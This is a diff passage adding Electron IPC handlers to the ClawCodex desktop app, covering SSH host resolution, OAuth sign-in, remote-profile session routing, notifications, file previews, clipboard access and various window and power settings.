+  sanitizeDesktopConnectionConfig(readDesktopConnectionConfig(), profile)
+)
+ipcMain.handle('clawcodex:ssh-config:hosts', async () => ({ hosts: collectSshConfigHosts() }))
+ipcMain.handle('clawcodex:ssh-config:resolve', async (_event, host) => {
+  const value = String(host || '').trim()
+
+  if (!value) {
+    throw new Error('SSH host is required.')
+  }
+
+  const ssh =
+    process.platform === 'win32'
+      ? path.join(process.env.SystemRoot || 'C:\\Windows', 'System32', 'OpenSSH', 'ssh.exe')
+      : 'ssh'
+
+  return new Promise((resolve, reject) => {
+    const child = spawn(ssh, ['-G', '--', value], hiddenWindowsChildOptions({ stdio: ['ignore', 'pipe', 'pipe'] }))
+    let stdout = ''
+    let stderr = ''
+
+    const timer = setTimeout(() => {
+      child.kill()
+      reject(new Error('SSH config resolution timed out.'))
+    }, 10_000)
+
+    child.stdout.on('data', chunk => {
+      stdout += String(chunk)
+    })
+    child.stderr.on('data', chunk => {
+      stderr += String(chunk)
+    })
+    child.once('error', error => {
+      clearTimeout(timer)
+      reject(error)
+    })
+    child.once('close', code => {
+      clearTimeout(timer)
+
+      if (code !== 0) {
+        reject(new Error(stderr.trim() || 'Could not resolve SSH host.'))
+      } else {
+        resolve(parseSshGOutput(stdout))
+      }
+    })
+  })
+})
+ipcMain.handle('clawcodex:connection-config:test', async (_event, payload) => testDesktopConnectionConfig(payload))
+ipcMain.handle('clawcodex:connection-config:probe', async (_event, rawUrl) => probeRemoteAuthMode(rawUrl))
+ipcMain.handle('clawcodex:connection-config:oauth-login', async (_event, rawUrl) => {
+  // Capability-gated login (RFC 8252). Probe the gateway's public /api/status:
+  //   - advertises "native_pkce" in auth_flows → run the system-browser +
+  //     loopback + PKCE flow. No embedded webview, tokens held by the app
+  //     (encrypted keychain), REST/WS authenticated by bearer — no cookies.
+  //   - older gateway without native_pkce → fall back to the legacy embedded
+  //     BrowserWindow cookie flow, preserving compatibility.
+  // This is the "observable ladder + compatibility fallback tied to an
+  // identified older runtime" the desktop guide requires.
+  const baseUrl = normalizeRemoteBaseUrl(rawUrl)
+
+  let statusBody: any = null
+
+  try {
+    statusBody = await fetchPublicJson(`${baseUrl}/api/status`, { timeoutMs: 8_000 })
+  } catch {
+    // Can't read status — fall through to the embedded flow, which has its
+    // own error handling and works against any gated gateway.
+  }
+
+  const strategy = resolveLoginStrategy(statusBody)
+
+  if (strategy === 'native') {
+    try {
+      const tokens = await runNativeLogin(baseUrl, {
+        openExternal: url => shell.openExternal(url),
+        postJson: (url, body, opts) => postJsonNoAuth(url, body, opts),
+        rememberLog
+      })
+
+      _storeNativeTokens(baseUrl, tokens)
+      // Confirmed sign-in — release the reauth latch so the next
+      // startClawCodex() re-dials instead of replaying the stale rejection.
+      remoteReauthFailure = null
+
+      return { ok: true, baseUrl, connected: true }
+    } catch (error) {
+      rememberLog(
+        `[native-oauth] native login failed (${
+          error instanceof Error ? error.message : String(error)
+        }); falling back to embedded flow`
+      )
+      // Fall through to the embedded flow so a native-flow hiccup (blocked
+      // loopback, user closed the browser) still lets the user sign in.
+    }
+  }
+
+  // Legacy embedded-webview cookie flow.
+  await openOauthLoginWindow(baseUrl)
+
+  const connected = await hasOauthSessionCookie(baseUrl)
+
+  // Only a CONFIRMED sign-in releases the latch. A cancelled/closed login
+  // window must leave it set, or the overlay's "Sign in" button starts
+  // flickering again on the next retry.
+  if (connected) {
+    remoteReauthFailure = null
+  }
+
+  return { ok: true, baseUrl, connected }
+})
+ipcMain.handle('clawcodex:connection-config:oauth-logout', async (_event, rawUrl) => {
+  const baseUrl = rawUrl ? normalizeRemoteBaseUrl(rawUrl) : ''
+  await clearOauthSession(baseUrl || undefined)
+
+  // Also drop any native (RFC 8252) bearer tokens for this gateway so a
+  // logout clears BOTH auth shapes.
+  if (baseUrl) {
+    _clearNativeTokens(baseUrl)
+  }
+
+  // Report against the SAME liveness notion the Settings indicator uses
+  // (AT-or-RT cookie, or a native token) so a logout that left any session
+  // behind is reflected as still-connected rather than silently signed-out.
+  const connected = baseUrl ? (await hasLiveOauthSession(baseUrl)) || hasNativeSession(baseUrl) : false
+
+  return { ok: true, connected }
+})
+
+// --- ClawCodex Cloud (cloud-auto-discovery Phase 3) ---
+// One portal login in the OAuth partition powers both discovery and the silent
+// per-agent cascade. See the discovery/cascade helpers above.
+ipcMain.handle('clawcodex:cloud:status', async () => ({
+  portalBaseUrl: resolvePortalBaseUrl(),
+  signedIn: await hasLivePortalSession()
+}))
+ipcMain.handle('clawcodex:cloud:login', async () => {
+  await openPortalLoginWindow()
+
+  return { ok: true, signedIn: await hasLivePortalSession() }
+})
+ipcMain.handle('clawcodex:cloud:logout', async () => {
+  await clearOauthSession(resolvePortalBaseUrl())
+
+  return { ok: true, signedIn: await hasLivePortalSession() }
+})
+ipcMain.handle('clawcodex:cloud:discover', async (_event, org) => {
+  // Returns { agents } or { needsOrgSelection: true, orgs }. `org` (optional)
+  // scopes discovery to a chosen org for multi-org users.
+  return discoverCloudAgents(typeof org === 'string' && org ? org : undefined)
+})
+ipcMain.handle('clawcodex:cloud:agent-sign-in', async (_event, dashboardUrl) => {
+  // Silent per-agent sign-in via the shared portal session. Returns the agent's
+  // gateway baseUrl + whether its session cookie landed; the renderer then
+  // saves a cloud-mode connection pointed at this dashboardUrl.
+  return cloudAgentSilentSignIn(dashboardUrl)
+})
+ipcMain.handle('clawcodex:connection-config:save', async (_event, payload) => {
+  const config = coerceDesktopConnectionConfig(payload)
+  writeDesktopConnectionConfig(config)
+
+  return sanitizeDesktopConnectionConfig(config, payload?.profile)
+})
+ipcMain.handle('clawcodex:connection-config:apply', async (_event, payload) => {
+  const config = coerceDesktopConnectionConfig(payload)
+  writeDesktopConnectionConfig(config)
+
+  const key = connectionScopeKey(payload?.profile)
+  const scope = key || ''
+
+  await applyConnectionChange({
+    cancelAndWait: value => sshBootstrapCoordinator.cancelAndWait(value),
+    isPrimary: !key || key === primaryProfileKey(),
+    rehomePrimary: () =>
+      rehomePrimaryConnection({
+        clearLocalBootstrapFailure: () => {
+          // A remote connection bypasses local runtime/bootstrap failures. Clear
+          // the local-install latch so unsupported/failure escape paths can re-home.
+          bootstrapFailure = null
+        },
+        mode: config.mode,
+        notifyConnectionApplied: sendConnectionApplied,
+        resumeFirstRunRemote: abandonFirstRunSetupChoiceForRemoteApply,
+        teardownPrimaryBackend: teardownPrimaryBackendAndWait
+      }),
+    scope,
+    sendApplied: sendConnectionApplied,
+    stopPool: stopPoolBackend,
+    teardownPrimary: () => teardownPrimaryBackendAndWait({ soft: true }),
+    teardownSsh: value => teardownSshConnection(value || null)
+  })
+
+  return sanitizeDesktopConnectionConfig(config, payload?.profile)
+})
+
+ipcMain.handle('clawcodex:profile:get', async () => ({ profile: readActiveDesktopProfile() }))
+ipcMain.handle('clawcodex:profile:set', async (_event, name) => {
+  const next = writeActiveDesktopProfile(name)
+
+  // Switching profiles is a backend re-home: relaunch the dashboard under the
+  // new CLAWCODEX_CONFIG_DIR. Pool backends keep their own homes, so only the primary
+  // is torn down.
+  await teardownPrimaryBackendAndWait()
+  mainWindow?.reload()
+
+  return { profile: next }
+})
+
+ipcMain.on('clawcodex:previewShortcutActive', (_event, active) => {
+  previewShortcutActive = Boolean(active)
+})
+
+ipcMain.handle('clawcodex:requestMicrophoneAccess', async () => {
+  if (!IS_MAC || typeof systemPreferences.askForMediaAccess !== 'function') {
+    return true
+  }
+
+  return systemPreferences.askForMediaAccess('microphone')
+})
+
+// Re-route remote-profile session requests to the owning remote backend. Returns
+// `undefined` when not interceptable (caller takes the normal local path), else
+// the response. Reads tag the profile as ?profile=<name>; mutations carry it in
+// request.profile. Either way, a remote profile's session lives only on its
+// remote host, so the request must go there (where it serves its own state.db).
+//   GET    /api/profiles/sessions        → splice each remote profile's rows in
+//   GET    /api/sessions/{id}[/messages] → read from remote
+//   DELETE /api/sessions/{id}            → delete on remote
+//   PATCH  /api/sessions/{id}            → rename/archive on remote
+async function interceptSessionRequestForRemote(request) {
+  if (typeof request?.path !== 'string') {
+    return undefined
+  }
+
+  const method = (request.method || 'GET').toUpperCase()
+
+  let parsed
+
+  try {
+    parsed = new URL(request.path, 'http://x')
+  } catch {
+    return undefined
+  }
+
+  const { pathname, searchParams } = parsed
+
+  if (method === 'GET' && pathname === '/api/profiles/sessions') {
+    const remoteProfiles = configuredRemoteProfileNames()
+
+    if (remoteProfiles.length === 0) {
+      return undefined // no remote profiles → local fast path
+    }
+
+    const requested = (searchParams.get('profile') || 'all').trim() || 'all'
+
+    if (requested !== 'all') {
+      return profileHasRemoteOverride(requested) ? remoteSessionList(requested, searchParams) : undefined
+    }
+
+    return mergeRemoteProfileSessions(searchParams, remoteProfiles)
+  }
+
+  // Batched sidebar slices. With no remote profiles the local batched endpoint
+  // (one DB open per profile) serves it directly — take the fast path. When
+  // remotes exist, fan the three slices back out to the per-slice
+  // /api/profiles/sessions path (which already merges remote rows correctly) and
+  // reassemble; local profiles fall back to three primary reads there, but
+  // remote correctness is preserved.
+  if (method === 'GET' && pathname === '/api/profiles/sessions/sidebar') {
+    const remoteProfiles = configuredRemoteProfileNames()
+
+    if (remoteProfiles.length === 0) {
+      return undefined // local fast path → batched endpoint's single DB open
+    }
+
+    const recentsProfile = (searchParams.get('recents_profile') || 'all').trim() || 'all'
+
+    const sliceParams = (limitKey, defaultLimit, extra) => {
+      const sp = new URLSearchParams({
+        limit: searchParams.get(limitKey) || defaultLimit,
+        offset: '0',
+        min_messages: '1',
+        archived: 'exclude',
+        order: 'recent',
+        ...extra
+      })
+
+      return sp
+    }
+
+    const recentsSp = sliceParams('recents_limit', '20', { profile: recentsProfile })
+    const recentsExclude = searchParams.get('recents_exclude')
+
+    if (recentsExclude) {
+      recentsSp.set('exclude_sources', recentsExclude)
+    }
+
+    const cronSp = sliceParams('cron_limit', '50', { profile: 'all', source: 'cron' })
+
+    const messagingSp = sliceParams('messaging_limit', '100', { profile: 'all' })
+    const messagingExclude = searchParams.get('messaging_exclude')
+
+    if (messagingExclude) {
+      messagingSp.set('exclude_sources', messagingExclude)
+    }
+
+    const [recents, cron, messaging] = await Promise.all([
+      fetchProfilesSessionSlice(recentsSp, remoteProfiles),
+      fetchProfilesSessionSlice(cronSp, remoteProfiles),
+      fetchProfilesSessionSlice(messagingSp, remoteProfiles)
+    ])
+
+    return {
+      recents: {
+        sessions: rowsOf(recents),
+        total: Number(recents?.total) || 0,
+        profile_totals: recents?.profile_totals || {}
+      },
+      cron: { sessions: rowsOf(cron) },
+      messaging: {
+        sessions: rowsOf(messaging),
+        total: Number(messaging?.total) || rowsOf(messaging).length
+      },
+      errors: []
+    }
+  }
+
+  // Per-session read/mutation. Owner is in ?profile= (reads) or request.profile
+  // (mutations). Two remote shapes:
+  //  - per-profile override: route to that profile's own remote, sans profile
+  //    param (it serves its own state.db natively).
+  //  - global remote mode: ONE backend serves every profile via ?profile=, so
+  //    route there and KEEP the profile param so it opens the right state.db.
+  if (/^\/api\/sessions\/[^/]+(\/messages)?$/.test(pathname)) {
+    const profile = (searchParams.get('profile') || request.profile || '').trim()
+
+    if (!profile) {
+      return undefined
+    }
+
+    if (profileHasRemoteOverride(profile)) {
+      if (method === 'GET') {
+        return fetchJsonForProfile(profile, pathname)
+      }
+
+      const body = request.body && typeof request.body === 'object' ? { ...request.body } : request.body
+
+      if (body) {
+        delete body.profile
+      }
+
+      return requestJsonForProfile(profile, pathname, method, body)
+    }
+
+    if (globalRemoteActive()) {
+      // Single global backend: keep ?profile= so it opens the right state.db.
+      const sep = pathname.includes('?') ? '&' : '?'
+      const path = `${pathname}${sep}profile=${encodeURIComponent(profile)}`
+
+      if (method === 'GET') {
+        return fetchJsonForProfile(null, path)
+      }
+
+      const body = request.body && typeof request.body === 'object' ? { ...request.body, profile } : { profile }
+
+      return requestJsonForProfile(null, path, method, body)
+    }
+
+    return undefined
+  }
+
+  return undefined
+}
+
+const rowsOf = data => (Array.isArray(data?.sessions) ? data.sessions : [])
+
+// A remote profile's session list, read from its remote host and tagged with the
+// desktop-facing profile name (the remote's /api/sessions doesn't know it).
+async function remoteSessionList(profile, searchParams) {
+  const qs = new URLSearchParams(searchParams)
+  qs.delete('profile') // remote serves its own db; no cross-profile read there
+  const data = await fetchJsonForProfile(profile, `/api/sessions?${qs}`)
+
+  for (const s of rowsOf(data)) {
+    s.profile = profile
+    s.is_default_profile = false
+  }
+
+  return { ...(data as any), sessions: rowsOf(data) }
+}
+
+// Resolve one /api/profiles/sessions slice with remote profiles spliced in —
+// the same branch logic as the GET /api/profiles/sessions intercept, but always
+// returns data (never `undefined`) so a batched caller can compose slices. A
+// specific local profile reads from the local primary; a remote-override profile
+// reads from its remote; 'all' merges every remote into the primary aggregate.
+async function fetchProfilesSessionSlice(searchParams, remoteProfiles) {
+  const requested = (searchParams.get('profile') || 'all').trim() || 'all'
+
+  if (requested !== 'all') {
+    if (profileHasRemoteOverride(requested)) {
+      return remoteSessionList(requested, searchParams)
+    }
+
+    return fetchPrimaryProfileSessions(searchParams, fetchJsonForProfile)
+  }
+
+  return mergeRemoteProfileSessions(searchParams, remoteProfiles)
+}
+
+// Unified list: primary's local aggregate, with each remote profile's stale local
+// rows/totals swapped for the remote's real ones, re-sorted by recency and
+// re-windowed to the requested page. A dead remote contributes nothing rather
+// than breaking the sidebar.
+async function mergeRemoteProfileSessions(searchParams, remoteProfiles) {
+  const limit = Math.max(1, Number(searchParams.get('limit')) || 20)
+  const offset = Math.max(0, Number(searchParams.get('offset')) || 0)
+  const order = searchParams.get('order') === 'created' ? 'started_at' : 'last_active'
+
+  const base = (await fetchPrimaryProfileSessions(searchParams, fetchJsonForProfile)) as any
+
+  // Over-fetch each remote from offset 0 (limit+offset rows) so the merged window
+  // is correct for this page — mirrors the primary's per-profile over-fetch.
+  const remoteParams = new URLSearchParams(searchParams)
+  remoteParams.set('limit', String(limit + offset))
+  remoteParams.set('offset', '0')
+
+  const remoteSet = new Set(remoteProfiles)
+  const merged = rowsOf(base).filter(s => !remoteSet.has(s?.profile))
+  const profileTotals = { ...(base.profile_totals || {}) }
+  let total = (Number(base.total) || 0) - remoteProfiles.reduce((n, p) => n + (profileTotals[p] || 0), 0)
+
+  // Swap each remote profile's stale local rows/total for the remote's real ones.
+  await Promise.all(
+    remoteProfiles.map(async name => {
+      const list = await remoteSessionList(name, remoteParams).catch(() => null)
+
+      if (!list) {
+        delete profileTotals[name] // dead remote → drop its stale local total too
+
+        return
+      }
+
+      const rows = rowsOf(list)
+      merged.push(...rows)
+      profileTotals[name] = Number(list.total) || rows.length
+      total += profileTotals[name]
+    })
+  )
+
+  const recency = s => s?.[order] ?? s?.started_at ?? 0
+  merged.sort((a, b) => recency(b) - recency(a))
+
+  return { ...(base as any), sessions: merged.slice(offset, offset + limit), total, profile_totals: profileTotals }
+}
+
+ipcMain.handle('clawcodex:api', async (_event, request) => {
+  // Remote-profile session requests would otherwise hit the local primary off
+  // each profile's on-disk state.db — fine for local profiles, but a remote
+  // profile's sessions live on its remote host, so the UI's IDs 404 (or mutations
+  // no-op) the moment they run there. Route reads + mutations to the remote.
+  const rerouted = await interceptSessionRequestForRemote(request)
+
+  if (rerouted !== undefined) {
+    return rerouted
+  }
+
+  const tornDownProfile = await prepareProfileDeleteRequest(request)
+
+  const profile = request?.profile
+  // After tearing down a backend for profile deletion, route to the primary
+  // backend instead of spawning a fresh pool backend.  A freshly spawned
+  // backend calls ensure_clawcodex_home() which recreates the profile directory,
+  // defeating the deletion and leaving a zombie process.
+  const routeProfile = resolveRouteProfile(tornDownProfile, profile)
+  const connection = await ensureBackend(routeProfile)
+  const timeoutMs = resolveTimeoutMs(request?.timeoutMs, DEFAULT_FETCH_TIMEOUT_MS)
+
+  const requestPath = pathWithGlobalRemoteProfile(request.path, profile, profileRouteOptions(profile))
+
+  const url = `${connection.baseUrl}${requestPath}`
+
+  // OAuth gateways authenticate REST via EITHER a native bearer token
+  // (cookieless RFC 8252 flow) OR the HttpOnly session cookie held in the OAuth
+  // partition. Prefer the native bearer when present (mirroring
+  // mintGatewayWsTicket): the native flow never sets a cookie, so routing an
+  // oauth-mode REST call through the cookie-only path returns 401 no_cookie even
+  // though a valid bearer is held. Cookie mode rides Electron's net stack bound
+  // to the OAuth partition so the cookie attaches automatically. Token/local
+  // modes keep using the static session-token header.
+  if (connection.authMode === 'oauth') {
+    // The OAuth path rides electron.net with JSON headers; multipart isn't
+    // wired there. Fail loudly rather than corrupting the upload.
+    if (request?.upload) {
+      throw new Error('File uploads are not supported against OAuth-gated remote backends yet.')
+    }
+
+    // Native bearer first (cookieless). ensureNativeAccessToken transparently
+    // refreshes a near-expiry AT via /auth/native/refresh; a null return means
+    // no native session (resolveOauthRestAuth then selects the cookie path).
+    const nativeAt = await ensureNativeAccessToken(connection.baseUrl).catch(() => null)
+    const restAuth = resolveOauthRestAuth(nativeAt)
+
+    if (restAuth.kind === 'bearer') {
+      return fetchJson(url, null, {
+        method: request?.method,
+        body: request?.body,
+        timeoutMs,
+        bearer: restAuth.token
+      })
+    }
+
+    return fetchJsonViaOauthSession(url, {
+      method: request?.method,
+      body: request?.body,
+      timeoutMs
+    })
+  }
+
+  return fetchJson(url, connection.token, {
+    method: request?.method,
+    body: request?.body,
+    upload: request?.upload,
+    timeoutMs
+  })
+})
+
+// One deduper per cross-window cue — the choke point every window shares. Main
+// handles IPC serially, so the first window to claim a key wins with no race.
+const isDuplicateNotification = createEventDeduper()
+const claimedAmbientCue = createEventDeduper()
+
+// A window asks "do I own this ambient cue (turn-end sound / spoken reply)?".
+// The first caller within the window gets true; peers get false and stay quiet.
+ipcMain.handle('clawcodex:ambient:claim', (_event, key) => !claimedAmbientCue(String(key ?? '')))
+
+ipcMain.handle('clawcodex:notify', (_event, payload) => {
+  if (!Notification.isSupported()) {
+    return false
+  }
+
+  // Multiple full windows each run their own renderer throttle, so the same
+  // kind+session can arrive here twice. Collapse it at this single choke point.
+  // Return true (not false): a notification for the event IS being shown by the
+  // first caller, so the settings "send test" success probe stays honest.
+  if (isDuplicateNotification(`${payload?.kind ?? ''}:${payload?.sessionId ?? payload?.tag ?? ''}`)) {
+    return true
+  }
+
+  // Action buttons render only on signed macOS builds; elsewhere they're dropped
+  // and the body click still works.
+  const actions = Array.isArray(payload?.actions) ? payload.actions : []
+
+  const notification = new Notification({
+    title: payload?.title || 'ClawCodex',
+    body: payload?.body || '',
+    silent: Boolean(payload?.silent),
+    actions: actions.map(action => ({ type: 'button', text: String(action?.text || '') }))
+  })
+
+  notification.on('click', () => {
+    if (!mainWindow || mainWindow.isDestroyed()) {
+      return
+    }
+
+    focusWindow(mainWindow)
+
+    if (payload?.sessionId) {
+      mainWindow.webContents.send('clawcodex:focus-session', payload.sessionId)
+    }
+  })
+  notification.on('action', (_actionEvent, index) => {
+    if (!mainWindow || mainWindow.isDestroyed()) {
+      return
+    }
+
+    const action = actions[index]
+
+    if (action?.id) {
+      mainWindow.webContents.send('clawcodex:notification-action', { sessionId: payload?.sessionId, actionId: action.id })
+    }
+  })
+  notification.show()
+
+  return true
+})
+
+// Data-URL file load cap (composer attach + local previews). Main owns the
+// persisted MB value so every IPC read honours Settings → Chat without the
+// renderer having to pass maxBytes on each call. Default is 16 MB; clamp
+// lives in hardening.ts.
+const DATA_URL_READ_MAX_CONFIG_PATH = path.join(app.getPath('userData'), 'data-url-read-max.json')
+
+function readPersistedDataUrlReadMaxMb() {
+  try {
+    return clampDataUrlReadMaxMb(JSON.parse(fs.readFileSync(DATA_URL_READ_MAX_CONFIG_PATH, 'utf8')).maxMb)
+  } catch {
+    return DATA_URL_READ_DEFAULT_MAX_MB
+  }
+}
+
+let dataUrlReadMaxMb = readPersistedDataUrlReadMaxMb()
+
+function persistDataUrlReadMaxMb(maxMb) {
+  const next = clampDataUrlReadMaxMb(maxMb)
+  dataUrlReadMaxMb = next
+
+  try {
+    fs.mkdirSync(path.dirname(DATA_URL_READ_MAX_CONFIG_PATH), { recursive: true })
+    fs.writeFileSync(DATA_URL_READ_MAX_CONFIG_PATH, JSON.stringify({ maxMb: next }, null, 2), 'utf8')
+  } catch (error) {
+    rememberLog(`[data-url-read-max] write failed: ${error.message}`)
+  }
+
+  return next
+}
+
+ipcMain.handle('clawcodex:data-url-read-max:get', () => ({
+  maxMb: dataUrlReadMaxMb,
+  // Keep the default bytes constant visible for tests / diagnostics.
+  defaultMaxMb: DATA_URL_READ_DEFAULT_MAX_MB,
+  maxBytes: dataUrlReadMaxBytesFromMb(dataUrlReadMaxMb)
+}))
+
+ipcMain.handle('clawcodex:data-url-read-max:set', (_event, maxMb) => {
+  const next = persistDataUrlReadMaxMb(maxMb)
+
+  return {
+    maxMb: next,
+    defaultMaxMb: DATA_URL_READ_DEFAULT_MAX_MB,
+    maxBytes: dataUrlReadMaxBytesFromMb(next)
+  }
+})
+
+ipcMain.handle('clawcodex:readFileDataUrl', async (_event, filePath) => {
+  return readFileDataUrlForIpc(filePath, {
+    maxBytes: dataUrlReadMaxBytesFromMb(dataUrlReadMaxMb),
+    mimeType: mimeTypeForPath(resolveRequestedPathForIpc(filePath, { purpose: 'File preview' })),
+    purpose: 'File preview'
+  })
+})
+
+// Remote attachment transfer is independent of the preview / Settings path.
+// Keep a finite cap so Electron + base64 memory stays bounded while archives
+// can exceed the default 16 MiB preview ceiling (and still fit the gateway
+// WebSocket frame limit after base64 expansion).
+ipcMain.handle('clawcodex:readFileDataUrlForAttach', async (_event, filePath) => {
+  return readFileDataUrlForIpc(filePath, {
+    maxBytes: ATTACHMENT_UPLOAD_DEFAULT_MAX_BYTES,
+    mimeType: mimeTypeForPath(resolveRequestedPathForIpc(filePath, { purpose: 'Attachment upload' })),
+    purpose: 'Attachment upload'
+  })
+})
+
+ipcMain.handle('clawcodex:readFileText', async (_event, filePath) => {
+  const { resolvedPath, stat } = await resolveReadableFileForIpc(filePath, {
+    maxBytes: TEXT_PREVIEW_SOURCE_MAX_BYTES,
+    purpose: 'Text preview'
+  })
+
+  const ext = path.extname(resolvedPath).toLowerCase()
+  const handle = await fs.promises.open(resolvedPath, 'r')
+  const bytesToRead = Math.min(stat.size, TEXT_PREVIEW_MAX_BYTES)
+
+  try {
+    const buffer = Buffer.alloc(bytesToRead)
+    const { bytesRead } = await handle.read(buffer, 0, bytesToRead, 0)
+
+    return {
+      binary: looksBinary(buffer.subarray(0, Math.min(bytesRead, 4096))),
+      byteSize: stat.size,
+      language: PREVIEW_LANGUAGE_BY_EXT[ext] || 'text',
+      mimeType: mimeTypeForPath(resolvedPath),
+      path: resolvedPath,
+      text: buffer.subarray(0, bytesRead).toString('utf8'),
+      truncated: stat.size > TEXT_PREVIEW_MAX_BYTES
+    }
+  } finally {
+    await handle.close()
+  }
+})
+
+ipcMain.handle('clawcodex:selectPaths', async (_event, options: any = {}) => {
+  const properties = options?.directories ? ['openDirectory'] : ['openFile']
+
+  if (options?.multiple !== false) {
+    properties.push('multiSelections')
+  }
+
+  let resolvedDefaultPath
+
+  if (options?.defaultPath) {
+    try {
+      // On a Windows host with a WSL backend the cwd may be a POSIX/WSL path;
+      // bridge it to a UNC/drive form the native dialog can actually open.
+      const bridged = IS_WINDOWS ? resolvePickerDefaultPath(String(options.defaultPath)) : String(options.defaultPath)
+      resolvedDefaultPath = bridged ? path.resolve(bridged) : undefined
+    } catch {
+      resolvedDefaultPath = undefined
+    }
+  }
+
+  const result = await dialog.showOpenDialog(mainWindow, {
+    title: options?.title || 'Add context',
+    defaultPath: resolvedDefaultPath,
+    properties: properties as any,
+    filters: Array.isArray(options?.filters) ? options.filters : undefined
+  })
+
+  if (result.canceled) {
+    return []
+  }
+
+  return result.filePaths
+})
+
+ipcMain.handle('clawcodex:writeClipboard', (_event, text) => {
+  clipboard.writeText(String(text || ''))
+
+  return true
+})
+
+// Native save-location picker (profile export etc.) — the write itself happens
+// elsewhere (the backend, for profile archives); this only picks the path.
+ipcMain.handle('clawcodex:selectSavePath', async (_event, options: any = {}) => {
+  const result = await dialog.showSaveDialog(mainWindow, {
+    title: options?.title || 'Save',
+    defaultPath: options?.defaultPath ? String(options.defaultPath) : undefined,
+    filters: Array.isArray(options?.filters) ? options.filters : undefined
+  })
+
+  if (result.canceled || !result.filePath) {
+    return null
+  }
+
+  return result.filePath
+})
+
+// Paired reader for the GUI terminal's paste chord: the renderer's
+// navigator.clipboard.readText() throws "Document is not focused" whenever a
+// portaled overlay has focus, and there's no way to route a read through the
+// canvas. The main process has no such gate.
+ipcMain.handle('clawcodex:readClipboard', () => clipboard.readText())
+
+ipcMain.handle('clawcodex:saveImageFromUrl', (_event, url) => saveImageFromUrl(String(url || '')))
+
+ipcMain.handle('clawcodex:saveImageBuffer', async (_event, payload) => {
+  const data = payload?.data
+
+  if (!data) {
+    throw new Error('saveImageBuffer: missing data')
+  }
+
+  const buffer = Buffer.isBuffer(data) ? data : Buffer.from(data)
+
+  return writeComposerImage(buffer, payload?.ext || '.png')
+})
+
+ipcMain.handle('clawcodex:saveClipboardImage', async () => {
+  const image = clipboard.readImage()
+
+  if (image && !image.isEmpty()) {
+    return writeComposerImage(image.toPNG(), '.png')
+  }
+
+  // WSL2/WSLg doesn't bridge clipboard *images* from the Windows host to the
+  // Linux clipboard Electron reads, so a host screenshot looks empty above.
+  // Pull it straight off the Windows clipboard via PowerShell as a fallback.
+  if (IS_WSL) {
+    const png = readWslWindowsClipboardImage()
+
+    if (png) {
+      return writeComposerImage(png, '.png')
+    }
+  }
+
+  return ''
+})
+
+ipcMain.handle('clawcodex:normalizePreviewTarget', (_event, target, baseDir) =>
+  normalizePreviewTarget(String(target || ''), baseDir ? String(baseDir) : '')
+)
+
+ipcMain.handle('clawcodex:watchPreviewFile', (_event, url) => watchPreviewFile(String(url || '')))
+
+ipcMain.handle('clawcodex:watchDirectory', (_event, dir) => watchDirectory(String(dir || '')))
+
+ipcMain.handle('clawcodex:stopPreviewFileWatch', (_event, id) => stopPreviewFileWatch(String(id || '')))
+
+// Each renderer reports the turns it has in flight; the quit guard reads the
+// merged picture. Keyed by webContents id so a closed window stops counting.
+const activeWorkByWebContents = new Map<number, ActiveWork>()
+
+// The same merged picture drives background throttling: chat windows run
+// unthrottled while any turn is in flight (streaming must paint while hidden)
+// and fall back to Chromium's default throttling at idle. See stream-throttle.ts.
+const streamThrottle = createStreamThrottle()
+
+function updateStreamThrottleFromActiveWork() {
+  streamThrottle.update(mergeActiveWork(activeWorkByWebContents.values()).count > 0)
+}
+
+ipcMain.on('clawcodex:active-work', (event, payload) => {
+  const id = event.sender.id
+
+  if (!activeWorkByWebContents.has(id)) {
+    event.sender.once('destroyed', () => {
+      activeWorkByWebContents.delete(id)
+      updateStreamThrottleFromActiveWork()
+    })
+  }
+
+  activeWorkByWebContents.set(id, normalizeActiveWork(payload))
+  updateStreamThrottleFromActiveWork()
+})
+
+ipcMain.on('clawcodex:titlebar-theme', (_event, payload) => {
+  if (!payload || !isHexColor(payload.background) || !isHexColor(payload.foreground)) {
+    return
+  }
+
+  rendererTitleBarTheme = {
+    background: payload.background,
+    foreground: payload.foreground
+  }
+
+  // Repaint the native (Windows/Linux) titlebar overlay on every open chat
+  // window, not just the primary — instance peers and session windows share the
+  // one app theme. applyTitleBarOverlay no-ops on the frameless pet overlay.
+  for (const win of BrowserWindow.getAllWindows()) {
+    applyTitleBarOverlay(win)
+  }
+})
+
+// Pin the native appearance to the app theme (see NATIVE_THEME_CONFIG_PATH).
+ipcMain.on('clawcodex:native-theme', (_event, mode) => {
+  if (!THEME_SOURCES.has(mode)) {
+    return
+  }
+
+  if (nativeTheme.themeSource !== mode) {
+    nativeTheme.themeSource = mode
+    writePersistedThemeSource(mode)
+  }
+})
+
+// See-through window translucency. Persist + re-apply opacity to every open
+// window at runtime (no recreation, so caching/sessions are untouched).
+ipcMain.on('clawcodex:translucency', (_event, payload) => {
+  const next = clampIntensity(payload && payload.intensity)
+
+  if (next === translucencyIntensity) {
+    return
+  }
+
+  translucencyIntensity = next
+  writePersistedTranslucency(next)
+
+  for (const win of BrowserWindow.getAllWindows()) {
+    applyWindowTranslucency(win)
+  }
+})
+
+// Keep-awake: hold the machine awake for long/overnight runs. Main owns the one
+// blocker and its persisted state so a cold launch restores it (applied on
+// ready — powerSaveBlocker needs the app ready). The renderer toggles it from
+// Settings → Advanced over IPC. See store/keep-awake.
+const KEEP_AWAKE_CONFIG_PATH = path.join(app.getPath('userData'), 'keep-awake.json')
+const keepAwake = createKeepAwake(powerSaveBlocker)
+
+function readPersistedKeepAwake() {
+  try {
+    return JSON.parse(fs.readFileSync(KEEP_AWAKE_CONFIG_PATH, 'utf8')).on === true
+  } catch {
+    return false
+  }
+}
+
+ipcMain.on('clawcodex:keep-awake', (_event, on) => {
+  const enabled = Boolean(on)
+  keepAwake.set(enabled)
+
+  try {
+    fs.mkdirSync(path.dirname(KEEP_AWAKE_CONFIG_PATH), { recursive: true })
+    fs.writeFileSync(KEEP_AWAKE_CONFIG_PATH, JSON.stringify({ on: enabled }, null, 2), 'utf8')
+  } catch (error) {
+    rememberLog(`[keep-awake] write failed: ${error.message}`)
+  }
+})
+
+// Quick Entry: the renderer reads the live registration state on settings mount
+// and writes the preference back. Main is authoritative — it owns the OS
+// accelerator — so both handlers return the state that ACTUALLY resulted,
+// including `registered: false` + `error: 'taken'` when another app owns the
+// chord. See electron/quick-entry.ts + store/quick-entry.
+ipcMain.handle('clawcodex:quick-entry:settings:get', async () => {
+  const settings = readQuickEntrySettings()
+  const state = quickEntryShortcut.current()
+
+  // Ground truth is what the last apply produced; the shortcut we report is the
+  // live one (a saved-but-rejected chord still shows what the user asked for).
+  return {
+    enabled: settings.enabled,
+    error: state.error,
+    registered: state.registered,
